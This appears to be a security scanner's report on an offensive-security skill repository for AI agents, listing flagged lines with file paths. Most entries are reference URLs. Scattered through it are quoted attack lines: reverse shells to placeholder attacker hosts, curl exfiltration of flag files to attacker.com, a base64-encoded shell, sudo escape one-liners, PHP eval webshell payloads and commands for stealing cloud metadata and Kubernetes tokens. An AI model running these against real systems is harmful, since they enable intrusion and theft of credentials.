    | 目标 | 检测命令 | 利用方式 | |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 |
  • Network accessline 1149
    |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret |
  • Network accessline 1150
    | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 |
  • Network accessline 1151
    | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret |
  • Network accessline 1152
    | K8s ServiceAccount | `cat /var/run/secrets/kubernetes.io/serviceaccount/token` | 认证K8s API | | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | | Redis | `redis-cli -h REDIS_HOST ping` | 未授权访问 |
  • Network accessline 1153
    | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 |
  • Network accessline 1155
    | Docker Registry | `curl http://REGISTRY:5000/v2/_catalog` | 拉取敏感镜像 |

deepsec/spear/skills/specialized/ai-mcp-security/references/ai-data-security.md

  • Network accessline 56
    https://nordicapis.com/llm-security-hinges-on-api-security/
  • Network accessline 57
    https://superface.ai/blog/how-to-connect-openai-gpts-to-apis
  • Network accessline 115
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
  • Network accessline 173
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
  • Network accessline 245
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 246
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 247
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 248
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 249
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 295
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 296
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 297
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 298
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 299
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 350
    https://www.secrss.com/articles/51763
  • Network accessline 351
    https://github.com/linexjlin/GPTs
  • Network accessline 420
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 421
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 422
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 423
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 424
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 425
    https://twitter.com/simonw/status/1570933190289924096
  • Network accessline 476
    https://magazine.sebastianraschka.com/p/ahead-of-ai-8-the-latest-open-source
  • Network accessline 477
    https://vulcan.io/blog/owasp-top-10-llm-risks-what-we-learned/#h2_1
  • Network accessline 478
    https://www.linkedin.com/pulse/security-threats-around-llm-systems-categorization-gaurang-desai-bvale?trk=article-ssr-frontend-pulse_more-articles_related-content-card
  • Network accessline 527
    https://www.anquanke.com/post/id/247895
  • Network accessline 528
    https://www.aixinzhijie.com/article/6825834
  • Network accessline 577
    https://blog.barracuda.com/2024/04/03/generative-ai-data-poisoning-manipulation
  • Network accessline 578
    https://36kr.com/p/2723023103489920
  • Network accessline 579
    https://shardsecure.com/blog/data-manipulation-ml
  • Network accessline 627
    https://blog.csdn.net/2401_84252820/article/details/138406655?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-138406655-blog-124579765.235v43pc_blog_bottom_relevance_base5&spm=1001.2101.3001.424
  • Network accessline 675
    https://cloud.baidu.com/article/3248650
  • Network accessline 676
    https://forum.butian.net/share/3072
  • Network accessline 733
    https://aws.amazon.com/cn/blogs/china/privacy-and-security-of-agent-applications/
  • Network accessline 734
    https://arxiv.org/abs/2511.17671?utm_source=chatgpt.com
  • Network accessline 735
    https://arxiv.org/abs/2601.05504?utm_source=chatgpt.com
  • Network accessline 799
    https://www.lesswrong.com/posts/aPeJE8bSo6rAFoLqg/solidgoldmagikarp-plus-prompt-generation
  • Network accessline 800
    https://www.lesswrong.com/posts/Ya9LzwEbfaAMY8ABo/solidgoldmagikarp-ii-technical-details-and-more-recent
  • Network accessline 848
    https://www.nightfall.ai/ai-security-101/model-inversion
  • Network accessline 849
    https://www.michalsons.com/blog/model-inversion-attacks-a-new-ai-security-risk/64427
  • Network accessline 903
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
  • Network accessline 987
    https://bj.bcebos.com/ensec-web-privacy/anquan/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%AE%89%E5%85%A8%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E7%99%BD%E7%9A%AE%E4%B9%A6.pdf
  • Network accessline 988
    https://mp.weixin.qq.com/s/JlJwDRzYG985kF4d6g7qjw
  • Network accessline 1037
    https://news.cctv.com/2022/06/21/ARTIdhgLL1sSK5Hjl0uYWybr220621.shtml
  • Network accessline 1038
    https://atlas.mitre.org/techniques/AML.T0036
  • Network accessline 1087
    https://www.kuaikuaicloud.com/market/3667.html
  • Network accessline 1128
    http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf
  • Network accessline 1186
    https://mp.weixin.qq.com/s/3WAWy4ZV6Ezft_2MJHMgtg
  • Network accessline 1187
    https://mp.weixin.qq.com/s/yiloJtlmv7MT3df9AnWNZQ
  • Network accessline 1233
    https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg
  • Network accessline 1234
    https://36kr.com/p/2541963790493187
  • Network accessline 1284
    https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg
  • Network accessline 1285
    https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw
  • Network accessline 1328
    https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg
  • Network accessline 1329
    https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw
  • Network accessline 1330
    https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg
  • Network accessline 1331
    https://36kr.com/p/2541963790493187
  • Network accessline 1385
    https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset
  • Network accessline 1386
    https://arxiv.org/abs/2310.03693
  • Network accessline 1387
    https://blog.csdn.net/yalecaltech/article/details/117135011
  • Network accessline 1442
    https://cloud.baidu.com/article/1819998
  • Network accessline 1495
    https://www.eet-china.com/mp/a213535.html
  • Network accessline 1548
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Training_Data_Poisoning.html
  • Network accessline 1605
    https://mp.weixin.qq.com/s/C9eIW06UXKL8g9TkZzGn_w
  • Network accessline 1606
    https://www.techpolicy.press/new-study-suggests-chatgpt-vulnerability-with-potential-privacy-implications/
  • Network accessline 1656
    https://ensarseker1.medium.com/data-poisoning-attacks-the-silent-threat-to-ai-integrity-d83900eea276
  • Network accessline 1657
    https://www.51cto.com/article/760084.html
  • Network accessline 1713
    https://home.dartmouth.edu/news/2024/01/zeroing-origins-bias-large-language-models

deepsec/spear/skills/specialized/ai-mcp-security/references/ai-identity-security.md

  • Network accessline 63
    https://mp.weixin.qq.com/s/lgMI9tf0xAl8siZYaKcqog
  • Network accessline 64
    https://mcp.csdn.net/6800a595a5baf817cf49422d.html
  • Network accessline 123
    https://www.reddit.com/r/cybersecurity/comments/1lzrkf6/another_critical_cvss_9610_mcpbased_vulnerability/
  • Network accessline 124
    https://threatprotect.qualys.com/2025/07/03/anthropic-model-context-protocol-mcp-inspector-remote-code-execution-vulnerability-cve-2025-49596/?utm_source=chatgpt.com
  • Network accessline 182
    https://arxiv.org/pdf/2211.09527.pdf
  • Network accessline 183
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 184
    https://prompt-guide.xiniushu.com/prompt_hacking/injection
  • Network accessline 243
    https://www.knightcxx.cn/?p=118
  • Network accessline 311
    https://simonwillison.net/2023/Feb/15/bing/
  • Network accessline 312
    https://www.tomshardware.com/news/chatgpt-generates-windows-11-pro-keys
  • Network accessline 313
    https://www.polygon.com/23690187/discord-ai-chatbot-clyde-grandma-exploit-chatgpt?continueFlag=9d7655502c6eb54decc775fab724139d
  • Network accessline 363
    https://sysdig.com/blog/lateral-movement-cloud-containers/
  • Network accessline 405
    https://dtzed.com/studies/2023/10/8093/
  • Network accessline 406
    https://www.cobalt.io/blog/llm-insecure-output-handling
  • Network accessline 462
    https://allabouttesting.org/owasp-agentic-ai-threat-t9-identity-spoofing-impersonation-in-ai-systems/
  • Network accessline 463
    https://moanju.org/posts/ai-agent-attack-examples-owasp-2026/
  • Network accessline 511
    https://openai.com/blog/march-20-chatgpt-outage
  • Network accessline 512
    https://securityaffairs.com/144057/data-breach/openai-chatgpt-redis-bug-data-leak.html
  • Network accessline 569
    https://kenhuangus.medium.com/llm-powered-applications-architecture-patterns-and-security-controls-7a153c3ec9f4
  • Network accessline 570
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Insufficient_Access_Control.html
  • Network accessline 624
    https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ
  • Network accessline 625
    https://priyalwalpita.medium.com/securing-the-future-of-ai-a-deep-dive-into-owasps-top-10-security-risks-for-large-language-models-72c5ff540cd3
  • Network accessline 678
    http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf
  • Network accessline 679
    https://blog.csdn.net/douyu0814/article/details/133703803
  • Network accessline 727
    https://www.knightcxx.cn/?p=118
  • Network accessline 790
    https://thehackernews.com/2023/06/over-100000-stolen-chatgpt-account.html
  • Network accessline 791
    https://www.makeuseof.com/why-hackers-target-chatgpt-accounts/
  • Network accessline 849
    https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ
  • Network accessline 905
    https://www.signalfire.com/blog/prompt-injection-security
  • Network accessline 906
    https://developer.nvidia.com/blog/mitigating-stored-prompt-injection-attacks-against-llm-applications/
  • Network accessline 958
    - https://www.securityweek.com/major-organizations-using-hugging-face-ai-tools-put-at-risk-by-leaked-api-tokens/
  • Network accessline 959
    - https://aws.amazon.com/cn/what-is/api-key/
  • Network accessline 1021
    https://medium.com/@nitishjoshi060291/llm-hallucinations-fix-it-with-vector-database-de04eee531da
  • Network accessline 1022
    https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications
  • Network accessline 1023
    https://www.cnblogs.com/LittleHann/p/17440063.html#_label3
  • Network accessline 1024
    https://dongnian.icu/llms/llms_article/9.%E6%A3%80%E7%B4%A2%E5%A2%9E%E5%BC%BALLM/index.html
  • Network accessline 1025
    https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications
  • Network accessline 1077
    https://www.leewayhertz.com/security-in-ai-development/
  • Network accessline 1126
    https://atmosphericthinking.medium.com/massive-leak-of-chatgpt-credentials-over-100-000-affected-db6cef3a18c5
  • Network accessline 1127
    https://blog.csdn.net/FreeBuf_/article/details/140870185?utm_relevant_index=7
  • Network accessline 1174
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 1175
    https://developer.nvidia.com/zh-cn/blog/securing-llm-systems-against-prompt-injection/
  • Network accessline 1221
    https://blog.csdn.net/qq_43543209/article/details/135683986
  • Network accessline 1270
    https://www.pulumi.com/ai/answers/mptvxaHguJ6A4yXSHi92zZ/implementing-role-based-access-to-ai-training-data-in-snowflake

deepsec/spear/skills/specialized/ai-mcp-security/references/ai-model-security.md

  • Network accessline 57
    https://github.com/0xk1h0/ChatGPT_DAN
  • Network accessline 58
    https://www.digitaltrends.com/computing/what-is-dan-prompt-chatgpt/
  • Network accessline 59
    https://arxiv.org/abs/2308.03825
  • Network accessline 105
    https://www.anthropic.com/research/many-shot-jailbreaking
  • Network accessline 157
    https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models
  • Network accessline 158
    https://arxiv.org/pdf/2305.13534.pdf
  • Network accessline 221
    https://atlas.mitre.org/techniques/AML.T0005
  • Network accessline 294
    https://mp.weixin.qq.com/s/LSTZUKOlXP9VZTxa-nKkhA
  • Network accessline 295
    https://blog.uptrain.ai/llm-jailbreak/
  • Network accessline 296
    https://www.fuzzylabs.ai/blog-post/jailbreak-attacks-on-large-language-models
  • Network accessline 368
    https://www.lakera.ai/blog/jailbreaking-large-language-models-guide
  • Network accessline 426
    https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ
  • Network accessline 484
    https://stcn.com/article/detail/1250289.html
  • Network accessline 485
    https://www.51cto.com/aigc/912.html
  • Network accessline 597
    https://arxiv.org/abs/2307.15043
  • Network accessline 598
    https://twitter.com/andyzou_jiaming/status/1684766170766004224
  • Network accessline 599
    https://zhuanlan.zhihu.com/p/662098517
  • Network accessline 695
    https://zhuanlan.zhihu.com/p/620575831
  • Network accessline 696
    https://atlas.mitre.org/techniques/AML.T0015
  • Network accessline 794
    https://mp.weixin.qq.com/s/yozvoCG92TDIF86EEz9g8Q
  • Network accessline 795
    https://mp.weixin.qq.com/s/RdIQBaBR0RQJUFp0Pf7ovA
  • Network accessline 796
    https://mp.weixin.qq.com/s/sxjU930eO4K_HKPPWXPlWg
  • Network accessline 797
    https://mp.weixin.qq.com/s/PGMVqjeI18x7GZyksvtGzQ
  • Network accessline 861
    https://arxiv.org/pdf/2311.05232.pdf
  • Network accessline 862
    https://mp.weixin.qq.com/s/qFAQQJ_FuhY2iaLzkoWynA
  • Network accessline 863
    https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models
  • Network accessline 864
    https://www.appendata.com/blogs/ai-hallucinations
  • Network accessline 935
    https://mp.weixin.qq.com/s/4UzoMtIL2oSkxzzuceuxhg
  • Network accessline 936
    https://zh-cn.eureporter.co/internet-2/artificial-intelligence/2024/02/03/laws-to-prevent-ai-terrorism-are-urgently-needed/
  • Network accessline 993
    https://infosecwriteups.com/jail-breaking-chatgpt-to-write-malware-9b3ae111f30c
  • Network accessline 994
    https://www.theregister.com/2024/04/17/gpt4_can_exploit_real_vulnerabilities/
  • Network accessline 995
    https://arxiv.org/abs/2404.08144
  • Network accessline 996
    https://blog.csdn.net/pengpengjy/article/details/132478358
  • Network accessline 1053
    https://www.freebuf.com/articles/ai-security/454527.html
  • Network accessline 1054
    https://zhuanlan.zhihu.com/p/1928583554805260699
  • Network accessline 1120
    https://mp.weixin.qq.com/s/5cEkxtEbH7GUKiQ5aRsnrg
  • Network accessline 1189
    https://mp.weixin.qq.com/s/nOn1aQDEQys5D7sNK1_oPg
  • Network accessline 1190
    https://mp.weixin.qq.com/s/ZpM09SUHSTvM9SrvrlBEmA
  • Network accessline 1257
    https://www.ibm.com/topics/model-drift
  • Network accessline 1258
    https://www.datacamp.com/tutorial/understanding-data-drift-model-drift
  • Network accessline 1259
    https://mp.weixin.qq.com/s/QbADBoHEqpDBKNkr-so3Ig
  • Network accessline 1260
    https://arxiv.org/pdf/2307.09009.pdf
  • Network accessline 1312
    https://arxiv.org/abs/2404.12038
  • Network accessline 1425
    https://github.com/PKU-YuanGroup/Hallucination-Attack
  • Network accessline 1426
    https://zhuanlan.zhihu.com/p/661444210
  • Network accessline 1427
    https://arxiv.org/pdf/2310.01469.pdf
  • Network accessline 1616
    https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ
  • Network accessline 1617
    http://www.cbdio.com/BigData/2024-01/11/content_6176237.htm
  • Network accessline 1692
    https://mp.weixin.qq.com/s/krG4NGBCjK5kUL2x_RGRSg
  • Network accessline 1693
    https://world.huanqiu.com/article/4FIHGhZ96FB
  • Network accessline 1694
    https://insight.kellogg.northwestern.edu/zh/article/how-to-prepare-for-ai-generated-misinformation
  • Network accessline 1752
    https://stcn.com/article/detail/1250289.html
  • Network accessline 1753
    https://www.51cto.com/aigc/912.html
  • Network accessline 1828
    https://mp.weixin.qq.com/s/KGqu6i2_xX9d7-x8P189Lw
  • Network accessline 1943
    https://mp.weixin.qq.com/s/8Ca4HmkafP9SxjHayC9zdQ
  • Network accessline 1944
    https://mp.weixin.qq.com/s/-0i0SlGat-Y5hXcM3EIGiw
  • Network accessline 1945
    https://mp.weixin.qq.com/s/2Ai4nKOzEnkhqJD903O8mA
  • Network accessline 2027
    https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA
  • Network accessline 2085
    https://stcn.com/article/detail/1250289.html
  • Network accessline 2086
    https://www.51cto.com/aigc/912.html
  • Network accessline 2087
    https://36kr.com/p/2190993024614530
  • Network accessline 2137
    https://atlas.mitre.org/tactics/AML.TA0001
  • Network accessline 2138
    https://www.sohu.com/a/584853485_121124363
  • Network accessline 2187
    https://atlas.mitre.org/techniques/AML.T0014
  • Network accessline 2231
    https://atlas.mitre.org/techniques/AML.T0013
  • Network accessline 2282
    https://36kr.com/p/2653630408081670
  • Network accessline 2283
    https://www.sciencedirect.com/science/article/abs/pii/S0167865522003063
  • Network accessline 2359
    https://rodtrent.substack.com/p/must-learn-ai-security-part-8-model
  • Network accessline 2360
    https://arxiv.org/pdf/2403.06634.pdf
  • Network accessline 2361
    https://cloud.tencent.com/developer/article/2378846
  • Network accessline 2362
    https://www.53ai.com/news/LargeLanguageModel/2024071740891.html
  • Network accessline 2431
    https://atlas.mitre.org/techniques/AML.T0018
  • Network accessline 2432
    https://defence.ai/ai-security/backdoor-attacks-ml/
  • Network accessline 2433
    https://arxiv.org/abs/2308.14367
  • Network accessline 2486
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_AI_Alignment.html
  • Network accessline 2548
    https://wiki.offsecml.com/Supply+Chain+Attacks/Models/Using+Keras+Lambda+Layers
  • Network accessline 2551
    https://5stars217.github.io/2023-08-08-red-teaming-with-ml-models/
  • Network accessline 2554
    https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model
  • Network accessline 2599
    https://thenewstack.io/how-to-reduce-the-hallucinations-from-large-language-models/
  • Network accessline 2649
    https://aclanthology.org/2020.acl-main.249/

deepsec/spear/skills/specialized/client-reverse/references/MCP.md

  • Network accessline 651
    {   "url": "https://example.com",
  • Network accessline 652
    "url": "https://example.com",

deepsec/spear/skills/specialized/client-reverse/references/browser-locate-and-request-chain.md

  • Access to secretsline 24
    [Credential-related source omitted]

deepsec/spear/skills/specialized/crypto-toolkit/references/encoding-cheatsheet.md

  • Network accessline 80
    - [ ] 可读 ASCII/UTF-8 文本 - [ ] 看起来像路径(/xxx/yyy.php) - [ ] 看起来像 URL(http://...)
  • Network accessline 81
    - [ ] 看起来像路径(/xxx/yyy.php) - [ ] 看起来像 URL(http://...) - [ ] 包含 flag 格式(flag{...}, NSSCTF{...})
  • Network accessline 82
    - [ ] 看起来像 URL(http://...)

deepsec/spear/skills/specialized/ctf-crypto/references/rsa-attacks-cheatsheet.md

  • Network accessline 147
    - https://factordb.com — 查询已分解的 n
  • Network accessline 148
    - http://sagecell.sagemath.org — 在线 Sage 计算

deepsec/spear/skills/specialized/ctf-misc/references/bash-jail-escape.md

  • Dangerous shell operationline 66
    bash -i >& /dev/tcp/attacker_ip/port 0>&1
  • Network accessline 66
    bash -i >& /dev/tcp/attacker_ip/port 0>&1
  • Network accessline 67
    python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

deepsec/spear/skills/specialized/ctf-misc/references/ctfd-platform-guide.md

  • Network accessline 8
    CTFD_URL = "https://ctf.example.com" session = requests.Session()
  • Network accessline 9
    session = requests.Session()
  • Network accessline 62
    """检测 CTF 平台类型"""     # CTFd     r = requests.get(f"{url}/login")
  • Network accessline 63
    # CTFd     r = requests.get(f"{url}/login")     if 'ctfd' in r.text.lower() or 'csrf_token' in r.text:
  • Network accessline 64
    r = requests.get(f"{url}/login")
  • Network accessline 117
    solve_func(challenge_data) -> flag     """     session = requests.Session()
  • Network accessline 118
    """     session = requests.Session()     login(username, password)
  • Network accessline 119
    session = requests.Session()

deepsec/spear/skills/specialized/ctf-misc/references/encoding-chain-reference.md

  • Possible obfuscationline 74
    result = base64.b64decode(result).decode('utf-8')
  • Possible obfuscationline 79
    result = base64.b64decode(result + '==').decode('utf-8')

deepsec/spear/skills/specialized/ctf-misc/references/linux-privesc-quick.md

  • Dangerous shell operationline 8
    id; whoami; sudo -l
  • Dangerous shell operationline 13
    # 3. 检查 sudo 可用命令
  • Dangerous shell operationline 14
    sudo -l
  • Dangerous shell operationline 35
    # 9. 检查 sudo 版本 (CVE)
  • Dangerous shell operationline 36
    sudo --version
  • Dangerous shell operationline 61
    ### 2. Sudo 提权
  • Dangerous shell operationline 64
    # sudo -l 查看可用命令
  • Dangerous shell operationline 66
    sudo git help config; !/bin/sh
  • Dangerous shell operationline 67
    sudo less /etc/passwd; !/bin/sh
  • Dangerous shell operationline 68
    sudo vim; :!/bin/sh
  • Dangerous shell operationline 69
    sudo awk 'BEGIN {system("/bin/sh")}'
  • Dangerous shell operationline 70
    sudo find . -exec /bin/sh -p \; -quit
  • Dangerous shell operationline 71
    sudo python -c 'import os; os.system("/bin/sh")'
  • Dangerous shell operationline 72
    sudo perl -e 'exec "/bin/sh"'
  • Dangerous shell operationline 73
    sudo ruby -e 'exec "/bin/sh"'
  • Dangerous shell operationline 74
    sudo lua -e 'os.execute("/bin/sh")'
  • Access to secretsline 116
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Dangerous shell operationline 135
    ## GTFOBins (sudo suid 查表)

deepsec/spear/skills/specialized/ctf-misc/references/python-jail-escape.md

  • Dangerous shell operationline 29
    eval("__import__('os').system('id')")
  • Dangerous shell operationline 30
    exec("__import__('os').system('id')")
  • Network accessline 107
    # 最短的反弹 shell __import__('os').system('bash -i >& /dev/tcp/IP/PORT 0>&1')
  • Dangerous shell operationline 108
    __import__('os').system('bash -i >& /dev/tcp/IP/PORT 0>&1')
  • Network accessline 108
    __import__('os').system('bash -i >& /dev/tcp/IP/PORT 0>&1')
  • Possible obfuscationline 111
    __import__('base64').b64decode('bWFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDAmPnxkZXYvdGNwL0lQL1BPUlQK').decode()
  • Network accessline 126
    # 如果命令执行无回显,用以下方式验证 __import__('os').system('curl http://attacker/?$(id)')
  • Network accessline 127
    __import__('os').system('curl http://attacker/?$(id)')

deepsec/spear/skills/specialized/ctf-web/SKILL.md

  • Dangerous shell operationline 120
    当 `eval()` 有 `strlen()` 长度限制时(如 ≤ 18 字符),**首推 `$_GET` 链式传参**:
  • Dangerous shell operationline 125
    ?get=eval($_GET['A']);&A=system('cat /flag');
  • Dangerous shell operationline 129
    - `eval($_GET['A'])` = 16 字符,通过长度限制
  • Dangerous shell operationline 131
    - PHP 会先执行 `eval()`,将 `$_GET['A']` 的值作为 PHP 代码执行
  • Dangerous shell operationline 137
    | ≤ 18 | `eval($_GET['A']);` | 16 |
  • Dangerous shell operationline 138
    | ≤ 18 | `eval($_GET[0]);` | 14 |
  • Dangerous shell operationline 139
    | ≤ 16 | `eval($_GET[A]);` | 13(无引号,PHP 自动转字符串) |
  • Dangerous shell operationline 144
    - 双 GET 参数 URL 格式:`?get=eval($_GET['A']);&A=system('cat /flag');`

deepsec/spear/skills/specialized/ctf-web/references/command-injection-bypass.md

  • Dangerous shell operationline 57
    echo Y2F0IGZsYWcucGhw | base64 -d | bash
  • Network accessline 72
    | 读文件 | cat flag | sed -n '1,100p' flag / awk '{print}' flag | | 查找文件 | find | ls -la / dir / echo / locate | | 下载 | wget | curl / nc / python -c 'import urllib...' |
  • Network accessline 73
    | 查找文件 | find | ls -la / dir / echo / locate | | 下载 | wget | curl / nc / python -c 'import urllib...' | | 写文件 | echo > | tee / printf / python -c |
  • Network accessline 74
    | 下载 | wget | curl / nc / python -c 'import urllib...' |
  • Network accessline 83
    curl http://attacker.com/$(cat flag.php | base64)
  • Network accessline 89
    curl http://attacker.com/?data=$(cat flag.php | base64)
  • Network accessline 90
    wget http://attacker.com/?data=$(cat flag.php | base64)
  • Network accessline 95
    cat flag.php > /var/www/html/flag.txt # 然后浏览器访问 http://target/flag.txt
  • Network accessline 96
    # 然后浏览器访问 http://target/flag.txt
  • Dangerous shell operationline 116
    // 当 eval($cmd) 且 $cmd 中的空格被过滤
  • Dangerous shell operationline 128
    // eval($_GET[a]($_GET[b]));

deepsec/spear/skills/specialized/ctf-web/references/deserialization-playbook.md

  • Network accessline 40
    $target = "http://internal-service/";
  • Network accessline 41
    $client = new SoapClient(null, array(     'uri' => "http://attacker/",     'location' => $target,
  • Network accessline 42
    'uri' => "http://attacker/",
  • Network accessline 140
    def exploit():     # 在反序列化与验证之间的时间窗口     r = requests.post(url, data=payload)
  • Network accessline 142
    r = requests.post(url, data=payload)

deepsec/spear/skills/specialized/ctf-web/references/eval-and-rce-techniques.md

  • Dangerous shell operationline 9
    | `exec($cmd, $out)` | **无**(存入 `$out` 数组) | `exec("id", $out); print_r($out)` |
  • Dangerous shell operationline 13
    | `eval($code)` | 取决于代码 | `eval("system('id');")` → 有回显 |
  • Dangerous shell operationline 22
    eval($_GET['cmd']);
  • Dangerous shell operationline 28
    - `eval()` 中的 `system()` 输出 → 这是第二步
  • Network accessline 38
    import requests r = requests.get(url, params={"cmd": "system('cat flag.php');"})
  • Network accessline 39
    r = requests.get(url, params={"cmd": "system('cat flag.php');"})
  • Dangerous shell operationline 50
    eval($_GET['cmd']);  // 正常用法
  • Dangerous shell operationline 59
    eval("echo '" . $_GET['cmd'] . "';");
  • Dangerous shell operationline 61
    // 结果: eval("echo '');system('id');//';");
  • Network accessline 84
    system("cat flag.php > /var/www/html/x.txt"); # 然后访问 http://target/x.txt
  • Network accessline 85
    # 然后访问 http://target/x.txt
  • Network accessline 90
    system("curl http://your-server/$(cat flag.php | base64)");
  • Network accessline 96
    system("echo '<?php echo file_get_contents(\"/flag\"); ?>' > /var/www/html/read.php"); # 然后访问 http://target/read.php
  • Network accessline 97
    # 然后访问 http://target/read.php
  • Network accessline 111
    1. **直接执行**:`system("id")` → 有回显 2. **无回显写文件**:`system("cat flag.php > /var/www/html/x")` 3. **无回显外带**:`system("curl http://evil/$(cat flag.php)")`
  • Network accessline 112
    2. **无回显写文件**:`system("cat flag.php > /var/www/html/x")` 3. **无回显外带**:`system("curl http://evil/$(cat flag.php)")` 4. **无回显盲注**:`system("if [ $(cat flag.php | head -c1) = N ]; then sleep 3; fi")`
  • Network accessline 113
    3. **无回显外带**:`system("curl http://evil/$(cat flag.php)")`
  • Dangerous shell operationline 120
    | 简单 eval | `eval($_GET['cmd'])` | `system('cat flag.php')` |
  • Dangerous shell operationline 121
    | eval + 过滤空格 | `eval($cmd)` + 空格被替换 | `system('cat${IFS}flag.php')` |
  • Dangerous shell operationline 122
    | eval + 过滤关键字 | `eval($cmd)` + flag 被替换 | `system('cat${IFS}/f*')` |

deepsec/spear/skills/specialized/ctf-web/references/php-bypass-cheatsheet.md

  • Network accessline 113
    import requests url = "http://target/index.php"
  • Network accessline 114
    url = "http://target/index.php"
  • Network accessline 116
    payload = "a" * 1000000 + "evil_content" data = {"input": payload} r = requests.post(url, data=data)
  • Network accessline 117
    data = {"input": payload} r = requests.post(url, data=data) print(r.text)
  • Network accessline 118
    r = requests.post(url, data=data)
  • Dangerous shell operationline 142
    | `exec($cmd, $output)` | 执行并存入数组 | 无直接回显,需 `print_r($output)` |

deepsec/spear/skills/specialized/ctf-web/references/php-code-audit-checklist.md

  • Dangerous shell operationline 28
    eval()                // 执行任意 PHP 代码
  • Dangerous shell operationline 42
    exec()                // 执行外部程序,返回最后一行
  • Dangerous shell operationline 117
    3. **结果可见的路径优先**(system() 优先于 exec())
  • Dangerous shell operationline 125
    2. exec() 输出 → 需要额外 echo
  • Dangerous shell operationline 126
    3. eval() + system() → 输出在 eval 上下文中
  • Network accessline 140
    # 使用 python_execute 分析响应 import requests r = requests.get(url, params=payload)
  • Network accessline 141
    import requests r = requests.get(url, params=payload) print(f"Status: {r.status_code}")
  • Network accessline 142
    r = requests.get(url, params=payload)

deepsec/spear/skills/specialized/ctf-web/references/source-code-extraction.md

  • Network accessline 16
    import requests, re r = requests.get(url)
  • Network accessline 17
    r = requests.get(url)
  • Possible obfuscationline 43
    source = base64.b64decode(base64_string).decode('utf-8')
  • Network accessline 78
    import requests, re r = requests.get(url)
  • Network accessline 79
    r = requests.get(url)
  • Network accessline 93
    import requests r = requests.get(url)
  • Network accessline 94
    r = requests.get(url)

deepsec/spear/skills/specialized/ctf-web/references/ssti-injection-chains.md

  • Dangerous shell operationline 84
    <%= exec('id') %>

deepsec/spear/skills/specialized/ctf-web/references/web-ctf-quick-reference.md

  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 74
    # 检查基本信息 curl -I http://target/              # HTTP 头
  • Network accessline 75
    curl -I http://target/              # HTTP 头
  • Network accessline 76
    curl http://target/robots.txt        # robots
  • Network accessline 77
    curl http://target/.git/HEAD         # git 泄露

deepsec/spear/skills/specialized/cve-triage/SKILL.md

  • Access to secretsline 26
    [Credential-related source omitted]

deepsec/spear/skills/specialized/hackerone/SKILL.md

  • Network accessline 32
    ```      In scope:      https://api.example.com        | URL       | Eligible for bounty
  • Network accessline 33
